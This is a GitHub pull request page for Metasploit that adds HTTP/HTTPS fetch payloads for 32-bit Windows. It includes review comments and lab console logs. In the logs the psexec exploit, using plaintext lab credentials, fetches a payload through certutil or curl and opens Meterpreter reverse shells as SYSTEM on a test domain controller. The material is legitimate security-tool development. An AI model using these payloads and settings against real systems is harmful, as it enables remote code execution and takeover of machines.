Add HTTP and HTTPS fetch payloads for Windows x86#21172
Merged
smcintyre-r7 merged 4 commits intorapid7:masterfrom Apr 1, 2026
Merged
Add HTTP and HTTPS fetch payloads for Windows x86#21172smcintyre-r7 merged 4 commits intorapid7:masterfrom
smcintyre-r7 merged 4 commits intorapid7:masterfrom
Conversation
Contributor
Author
|
Sigh. Gotta leave specs for config files, I guess. |
Contributor
|
This looks easy enough to land. @bwatters-r7 I think if you rebase this to pull in the latest changes from master, the PHP macos tests should start passing. You'll also get the fix to the payload cached size update script which should fix the cache size failures, though on looking at them I would not have guessed that these changes would have triggered those failures. |
Contributor
Author
|
@smcintyre-r7 I'm not sure that the payload_cached error is related. I can run that test locally and sometimes it passes, and sometimes, it fails? |
Contributor
smcintyre-r7
left a comment
smcintyre-r7
left a comment
There was a problem hiding this comment.
Changes look good, tests are passing and both x86 HTTP and HTTPs are working
msf exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
SERVICE_DESCRIPTION no Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.159.10 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 no The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass Password1! no The password for the specified username
SMBUser smcintyre no The username to authenticate as
Payload options (cmd/windows/http/x86/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME sNmzAYoP no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.250.227 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_COMMAND is one of CURL:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
Exploit target:
Id Name
-- ----
4 Command
View the full module info with the info, or info -d command.
msf exploit(windows/smb/psexec) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:49727) at 2026-03-31 11:46:19 -0400
[-] 192.168.159.10:445 - Unable to get handle: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION
[-] 192.168.159.10:445 - Command seems to still be executing. Try increasing RETRY and DELAY
[*] 192.168.159.10:445 - Getting the command output...
[-] 192.168.159.10:445 - Unable to read file \Windows\Temp\sCoOOlxASHS.txt. RubySMB::Error::UnexpectedStatusCode: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION.
[-] 192.168.159.10:445 - Error getting command output
[*] 192.168.159.10:445 - Executing cleanup...
[+] 192.168.159.10:445 - Cleanup was successful
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DC
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 9
Meterpreter : x86/windows
meterpreter > exit
[*] Shutting down session: 1
[*] 192.168.159.10 - Meterpreter session 1 closed. Reason: User exit
msf exploit(windows/smb/psexec) > set PAYLOAD cmd/windows/https/x86/meterpreter_reverse_tcp
PAYLOAD => cmd/windows/https/x86/meterpreter_reverse_tcp
msf exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.10:49734) at 2026-03-31 11:46:37 -0400
[-] 192.168.159.10:445 - Unable to get handle: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION
[-] 192.168.159.10:445 - Command seems to still be executing. Try increasing RETRY and DELAY
[*] 192.168.159.10:445 - Getting the command output...
[-] 192.168.159.10:445 - Unable to read file \Windows\Temp\BUPBGDNjeF.txt. RubySMB::Error::UnexpectedStatusCode: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION.
[-] 192.168.159.10:445 - Error getting command output
[*] 192.168.159.10:445 - Executing cleanup...
[+] 192.168.159.10:445 - Cleanup was successful
meterpreter > exit
[*] Shutting down session: 2
[*] 192.168.159.10 - Meterpreter session 2 closed. Reason: User exit
msf exploit(windows/smb/psexec) > show options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
SERVICE_DESCRIPTION no Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.159.10 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 no The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass Password1! no The password for the specified username
SMBUser smcintyre no The username to authenticate as
Payload options (cmd/windows/https/x86/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
FETCH_CHECK_CERT false yes Check SSL certificate
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME acbPkCHOlaY no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_COMMAND is one of CURL:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
Exploit target:
Id Name
-- ----
4 Command
View the full module info with the info, or info -d command.
msf exploit(windows/smb/psexec) >
| Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CERTUTIL', %w[CURL TFTP CERTUTIL]]) | ||
| ] | ||
| ) | ||
| end |
Contributor
There was a problem hiding this comment.
If the purpose of this is to set the default for HTTP then I think this should be redundant and able to be removed because you set the default on L16. I think this would only be necessary if either there's a bug and 'DefaultOptions' => { 'FETCH_COMMAND' => 'CERTUTIL' }, isn't working or you need to adjust the available binaries.
Contributor
Author
|
I broke my own specs...... 😆 |
smcintyre-r7
approved these changes
Apr 1, 2026
Contributor
smcintyre-r7
left a comment
smcintyre-r7
left a comment
There was a problem hiding this comment.
Tested all 4 payloads with their default FETCH_COMMAND on a Server 2019 target. All the tests passed, all the CI tests are passing and the changes make sense so I'm going to go ahead an merge this in.
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
SERVICE_DESCRIPTION no Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBSHARE no The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 192.168.159.10 no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 no The target port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass Password1! no The password for the specified username
SMBUser smcintyre no The username to authenticate as
Payload options (cmd/windows/https/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
EXTENSIONS no Comma-separate list of extensions to load
EXTINIT no Initialization strings for extensions
FETCH_CHECK_CERT false yes Check SSL certificate
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME UpVFakHojgGq no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.250.227 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_COMMAND is one of CURL:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
Exploit target:
Id Name
-- ----
4 Command
View the full module info with the info, or info -d command.
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.250.227:4444
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 1 opened (192.168.250.227:4444 -> 192.168.250.89:61894) at 2026-04-01 14:30:02 -0400
[-] 192.168.159.10:445 - Unable to get handle: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION
[-] 192.168.159.10:445 - Command seems to still be executing. Try increasing RETRY and DELAY
[*] 192.168.159.10:445 - Getting the command output...
[-] 192.168.159.10:445 - Unable to read file \Windows\Temp\EEtoXVqiauOsWNgl.txt. RubySMB::Error::UnexpectedStatusCode: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION.
[-] 192.168.159.10:445 - Error getting command output
[*] 192.168.159.10:445 - Executing cleanup...
[+] 192.168.159.10:445 - Cleanup was successful
meterpreter > exit
[*] Shutting down session: 1
[*] 192.168.159.10 - Meterpreter session 1 closed. Reason: User exit
msf exploit(windows/smb/psexec) > set PAYLOAD cmd/windows/https/x86/meterpreter_reverse_tcp
PAYLOAD => cmd/windows/https/x86/meterpreter_reverse_tcp
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.250.227:4444
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 2 opened (192.168.250.227:4444 -> 192.168.250.89:57472) at 2026-04-01 14:30:55 -0400
[-] 192.168.159.10:445 - Unable to get handle: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION
[-] 192.168.159.10:445 - Command seems to still be executing. Try increasing RETRY and DELAY
[*] 192.168.159.10:445 - Getting the command output...
[-] 192.168.159.10:445 - Unable to read file \Windows\Temp\XvDGTAexlGCd.txt. RubySMB::Error::UnexpectedStatusCode: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION.
[-] 192.168.159.10:445 - Error getting command output
[*] 192.168.159.10:445 - Executing cleanup...
[+] 192.168.159.10:445 - Cleanup was successful
meterpreter > exit
[*] Shutting down session: 2
[*] 192.168.159.10 - Meterpreter session 2 closed. Reason: User exit
[*] 192.168.159.10 - Meterpreter session 2 closed. Reason: Died
msf exploit(windows/smb/psexec) > set PAYLOAD cmd/windows/http/x86/meterpreter_reverse_tcp
PAYLOAD => cmd/windows/http/x86/meterpreter_reverse_tcp
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.250.227:4444
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 3 opened (192.168.250.227:4444 -> 192.168.250.89:55212) at 2026-04-01 14:31:40 -0400
[-] 192.168.159.10:445 - Unable to get handle: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION
[-] 192.168.159.10:445 - Command seems to still be executing. Try increasing RETRY and DELAY
[*] 192.168.159.10:445 - Getting the command output...
[-] 192.168.159.10:445 - Unable to read file \Windows\Temp\SLYtMOatookFpT.txt. RubySMB::Error::UnexpectedStatusCode: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION.
[-] 192.168.159.10:445 - Error getting command output
[*] 192.168.159.10:445 - Executing cleanup...
[+] 192.168.159.10:445 - Cleanup was successful
meterpreter > exit
[*] Shutting down session: 3
[*] 192.168.159.10 - Meterpreter session 3 closed. Reason: User exit
msf exploit(windows/smb/psexec) > set PAYLOAD cmd/windows/http/x64/meterpreter_reverse_tcp
PAYLOAD => cmd/windows/http/x64/meterpreter_reverse_tcp
msf exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.250.227:4444
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[+] 192.168.159.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 4 opened (192.168.250.227:4444 -> 192.168.250.89:55354) at 2026-04-01 14:33:15 -0400
[-] 192.168.159.10:445 - Unable to get handle: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION
[-] 192.168.159.10:445 - Command seems to still be executing. Try increasing RETRY and DELAY
[*] 192.168.159.10:445 - Getting the command output...
[-] 192.168.159.10:445 - Unable to read file \Windows\Temp\XlLZuWCT.txt. RubySMB::Error::UnexpectedStatusCode: The server responded with an unexpected status code: STATUS_SHARING_VIOLATION.
[-] 192.168.159.10:445 - Error getting command output
[*] 192.168.159.10:445 - Executing cleanup...
[+] 192.168.159.10:445 - Cleanup was successful
meterpreter > exit
[*] Shutting down session: 4
[*] 192.168.159.10 - Meterpreter session 4 closed. Reason: User exit
msf exploit(windows/smb/psexec) >
Contributor
Release NotesThis adds HTTP and HTTPS fetch payloads for 32-bit Windows targets. |
smcintyre-r7
added
the
rn-modules
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
I'm lazy and added this to make testing the Indirect Syscall easier; I figured I'd go ahead and PR it.